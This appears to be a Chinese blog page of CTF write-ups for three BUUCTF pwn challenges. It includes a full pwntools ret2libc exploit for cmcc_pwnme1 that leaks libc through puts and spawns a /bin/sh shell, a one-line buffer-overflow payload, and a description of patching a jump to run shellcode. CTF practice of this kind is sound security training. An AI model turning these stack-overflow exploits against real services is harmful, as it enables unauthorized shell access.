BUU-picoctf_2018_buffer overflow 0-WP
今天好像都是水题嘛。不过这题使用ssh连接直接给了一个没root权限的shell

不过有一个vuln,就是题目给出的elf。
payload很好写,就是payload = "./vuln " + 'a' * 0x18 + p32(elf.plt["puts"]) + 'reta' + p32(0x804A080),这个输进去就可以了,然后我发现pwntools输不进去,蛮奇怪的。向大佬请教之后后来才知道是用法错了,文档里面是这样写的

BUU-cmcc_pwnme1-WP
完成任务很开心。栈溢出水题,没什么可说的,直接exp吧
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = remote("node3.buuoj.cn",29136)
elf = ELF("./pwnme1")
libc = ELF("./libcs/buu-32-libc.so")
pop_ebp_ret = 0x80485f3
payload = 'a' * 0xA4 + 'b' * 0x4 + p32(elf.symbols["puts"]) + p32(pop_ebp_ret) + p32(elf.got["puts"])
payload += p32(0x8048570)
sh.sendlineafter("Exit \n",'5')
sh.sendlineafter("fruit:",payload)
sh.recvuntil("..\n")
puts_addr = u32(sh.recv(4))
base = puts_addr - libc.symbols["puts"]
print hex(base)
payload = 'a' * 0xA4 + 'b' * 0x4 + p32(base + libc.symbols["system"]) + 'a' * 4 + p32(base + libc.search("/bin/sh").next())
sh.sendlineafter("Exit \n",'5')
sh.sendlineafter("fruit:",payload)
sh.interactive()
题目给了后门,但是buu上后门没法用,所以就老老实实leak吧。
…BUU-inndy_onepunch-WP
哈哈这道题其实没什么可说的,一看只有一次修改一个字节的机会,自然没什么思路

但是此题代码段可修改,所以我们修改一个jmp short指令就可以让程序再次跳转到scanf处了,这样就轻松地实现了多次利用。然后用同样地方法把shellcode写入并执行就可以get shell了。(关于jmp short指令我曾经简单的在这篇文章中记录过)
